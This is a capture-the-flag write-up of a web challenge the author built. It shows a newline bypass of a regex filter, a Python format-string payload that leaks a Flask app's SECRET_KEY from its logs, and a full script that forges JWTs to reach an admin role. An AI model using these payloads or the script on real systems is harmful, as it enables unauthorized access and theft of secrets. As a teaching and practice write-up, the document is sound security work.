Introduction

Auvergn’Hack is a cybersecurity conference held in Clermont-Ferrand, France on April 5th. This year was the first edition, and I had the chance to create a few challenges in the Web, Forensic, and Misc categories. Even though the CTF was not perfect due to infrastructure issues, it was a pleasure to see people playing and trying to solve as many challenges as possible, and to be able to answer their questions.

Hoping next one will be even better ! 🐒

Challenge description

  • category : web
  • difficulty : hard
  • points : 600
  • description : Only a real Kong can get my flag !

Bypassing Regex

While browsing the website, we come across the following page :

By inspecting the app.py file, we can enumerate the enpoints :

@app.route('/api/', methods =['GET'])
@app.route('/api/products', methods =['GET'])
@app.route('/api/me', methods =['GET'])
@app.route('/api/login', methods =['POST'])
@app.route('/api/signup', methods =['POST'])

We also understand that we need an account with the appropriate kong role to retrieve the flag.

@app.route('/api/products', methods =['GET'])
@token_required
def products(current_user):
    products = [
        {"name":"MonkeyHacker T-Shirt","description":"Underground style, ultimate comfort"},
        {"name":"Pentest USB Key","description":"Your hacking tools always within reach"},
        {"name":"Terminal Sticker","description":"Customize your gear with style"}
    ]
    
    if current_user.role == "kong":
         products.append({"name":"FLAG","description":"ZiTF{}"})
    return jsonify(products), 200

Inspecting the /api/me endpoint reveals a regex filter applied before the log_basic() function is called.

@app.route('/api/me', methods =['GET'])
@token_required
def me(current_user):
    current_user_json = current_user.as_dict()
    filters = request.args.getlist('filters')
  
    if filters:
         for f in filters:
              if re.match(r'.*(\<|\>|\{|\}|\"|\'|\;).*',f):
                        return jsonify({'message' : 'Stop hacking !'}), 403
         current_user_json = {key: value for key, value in current_user_json.items() if key in filters}
    
    logger.log_basic(f"/me filter={filters}",current_user)
    return jsonify(current_user_json), 200

This regex can be easily bypassed by using a \n, as shown below :

>>> import re
>>> def regex(input):
...  if re.match(r'.*(\<|\>|\{|\}|\"|\'|\;).*',input):
...   print("Blocked !")
...  else:
...   print("Bypassed !")
... 
>>> regex('this is a poc ; ls')
Blocked !
>>> regex('this is a poc \n; ls')
Bypassed !

Format String

Continuing the code review, we reach the logger.py file and the following piece of code :

def write_log(self,log,user_id):
        with open(f"{self.log_path}/{user_id}","a") as f:
            f.write(log)

def log_basic(self, endpoint, user):
        log = (endpoint + self.log_template).format(user=user,date=self.get_date())
        self.write_log(log,user.public_id)

Here we can identify a format string vulnerability, as we have control over the endpoint parameter.

This article from Podalirus explains how format strings can be exploited to leak sensitive data.

Let’s try it 🔥

When exploiting a format string vulnerability, we can only reference variables passed as parameters. So, let’s attempt to access our user’s password to confirm.

$ token=eyJhbGciOiJ...
$ curl -H "Authorization: $token" "http://localhost:8000/api/me?filters=email%0a%7Buser.password%7D"                                                                                 
{}

$ curl http://localhost:8000/secure_logs/f55c495d-4a1b-44c1-af17-bcabfb9f2b55
...

/me filter=['email\nscrypt:32768:8:1$E7lW2lbKnAB2dQhL$d123e33e8b33693cb0d1970ec8b53c895871a2ac6d4f76f66d85b1f88f4c25598927f7466f10c40da611ba66f619d1dbaf099c2e9b8b0da2cc6ced3a66ac91e9'] | User Info : zitf.zitf(hacker@zitf.fr) | [2025-04-11 13:59:46] 

Now, the hardest part is finding a way to leak the SECRET_KEY used to sign JWT tokens.

A working payload is :

{user.query.session._db.__class__.__init__.__globals__[current_app].config}

Proof of Concept :

$ payload='{user.query.session._db.__class__.__init__.__globals__[current_app].config}'
$ curl -H "Authorization: $token" --path-as-is "http://localhost:8000/api/me?filters=email%0a$(echo -ne $payload | jq -sRr @uri)"
{}

$ curl http://127.0.0.1:8000/secure_logs/f55c495d-4a1b-44c1-af17-bcabfb9f2b55  
...

/me filter=['email\n<Config {'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'SECRET_KEY': '90e115e651709c0d60e50ae95edfb64fdd9d30f393acd7dcb18823dc5a9c2bef', 'SECRET_KEY_FALLBACKS': None, 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(days=31), 'USE_X_SENDFILE': False, 'TRUSTED_HOSTS': None, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': None, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_PARTITIONED': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'MAX_FORM_MEMORY_SIZE': 500000, 'MAX_FORM_PARTS': 1000, 'SEND_FILE_MAX_AGE_DEFAULT': None, 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093, 'PROVIDE_AUTOMATIC_OPTIONS': True, 'LOG_PATH': '/logs', 'SQLALCHEMY_DATABASE_URI': 'sqlite:////db/users.db', 'SQLALCHEMY_TRACK_MODIFICATIONS': True, 'VERSION': 'v1', 'SQLALCHEMY_ENGINE_OPTIONS': {}, 'SQLALCHEMY_ECHO': False, 'SQLALCHEMY_BINDS': {}, 'SQLALCHEMY_RECORD_QUERIES': False}>'] | User Info : zitf.zitf(hacker@zitf.fr) | [2025-04-13 14:25:21] 

BINGO ! We successfully leaked the SECRET_KEY value !

Get the flag

To finish the challenge and get the flag, we need to authenticate as a user with Kong role.

The idea is to take advantage of directory listing inside secure_logs, enabled by the Nginx configuration.

location /secure_logs/ {
    alias /logs/;
    autoindex on;
}

From there, we can extract all user IDs, since they are used as log filenames.

$ curl -s http://127.0.0.1:8000/secure_logs/ | more                                                                                                                                                             
<html>                                                                                                                                                                                                            
<head><title>Index of /secure_logs/</title></head>
<body>
<h1>Index of /secure_logs/</h1><hr><pre><a href="../">../</a>
<a href="00683b92-dff7-4867-9c2c-ebf424a2d39a">00683b92-dff7-4867-9c2c-ebf424a2d39a</a>               10-Apr-2025 17:58                  80
<a href="011707c3-2d11-4add-9378-9ef1db2dad53">011707c3-2d11-4add-9378-9ef1db2dad53</a>               10-Apr-2025 17:58                  77
<a href="018db99f-a077-4364-8a7a-3b60887f462f">018db99f-a077-4364-8a7a-3b60887f462f</a>               10-Apr-2025 17:58                  88
<a href="0323bd75-ab3a-4dd4-81cf-2157c37201d6">0323bd75-ab3a-4dd4-81cf-2157c37201d6</a>               10-Apr-2025 17:58                  81
<a href="03a3e050-9d1b-40f5-a5ea-2c90062e80cc">03a3e050-9d1b-40f5-a5ea-2c90062e80cc</a>               10-Apr-2025 17:58                  83
<a href="04b49042-bf1a-47ca-b938-b59465ef99c9">04b49042-bf1a-47ca-b938-b59465ef99c9</a>               10-Apr-2025 17:58                  76
...

With a bit of scripting, we will generate a JWT for each ID and check which one gives us the flag in the /api/products API response.

$ ./solve.py  
[*] Account created
[*] Log In : OK
[*] Public id => 26cba78b-87e6-4e18-b221-f529bfae18c6
[*] Secret Key => 90e115e651709c0d60e50ae95edfb64fdd9d30f393acd7dcb18823dc5a9c2bef
!! BINGO !!
[{"description":"Underground style, ultimate comfort","name":"MonkeyHacker T-Shirt"},{"description":"Your hacking tools always within reach","name":"Pentest USB Key"},{"description":"Customize your gear with style","name":"Terminal Sticker"},{"description":"ZiTF{}","name":"FLAG"}]

Nice ! We successuflly retrieved the flag ! 🏴‍☠️

Exploit Script

#!/usr/bin/python3

import requests
from bs4 import BeautifulSoup
import jwt
from datetime import datetime, timedelta
import re

URL = 'http://localhost:8000'

USER = {
        'firstname':'hacker',
        'lastname':'hacker',
        'email':'hacker@zitf.fr',
        'password':'HackIngIsFun'
}

def create_account():
    r = requests.post(url = URL+'/api/signup',json = USER)
    if r.status_code != 201:
        print("[*] Error signup")
        print(r.text)
        exit()

def login():
    r = requests.post(url = URL+'/api/login',json = USER)
    if r.status_code != 201:
        print("[*] Error login")
        exit()
    return r.json()['token']

def get_public_id(token):
    r = requests.get(URL + '/api/me', headers = {'Authorization':token})
    uuid = r.json()['public_id']
    return uuid

def format_string(token):
    r = requests.get(url=URL+'/api/me',params={'filters':'email\n{user.query.session._db.__class__.__init__.__globals__[current_app].config}'}, headers = {'Authorization':token},proxies = {'http':'http://127.0.0.1:8080','https':'http://localhost:8080'})
    if r.status_code != 200:
        print(r.text)
        exit()

def get_secret_key(public_id):
    r = requests.get(URL + '/secure_logs/' + public_id)
    if r.status_code != 200:
        print("[*] Fail to catch logs")
        exit()
    data = r.text
    res = re.search(r"SECRET_KEY': \s*'([^']*)",data)
    return res.group(1)

def get_all_public_id():
    r = requests.get(url = URL + '/secure_logs/')
    public_ids = [a['href'] for a in BeautifulSoup(r.text, 'html.parser').find_all('a', href=True)]
    return public_ids[1:]

def get_flag(secret_key,all_uuids):
    for uuid in all_uuids:
        token = jwt.encode({
                'public_id': uuid,
                'exp' : datetime.utcnow() + timedelta(minutes = 30)
            }, secret_key, algorithm="HS256")
        r = requests.get(url = URL + '/api/products',headers = {'Authorization':token})
        if len(r.json()) != 3:    
            print("!! BINGO !!")
            print(r.text)
            exit()


if __name__ == '__main__':
    create_account()
    print("[*] Account created")
    token = login()
    print("[*] Log In : OK")
    public_id = get_public_id(token)
    print(f"[*] Public id => {public_id}")
    format_string(token)
    secret_key = get_secret_key(public_id)
    print(f"[*] Secret Key => {secret_key}")
    all_uuids = get_all_public_id()
    get_flag(secret_key,all_uuids)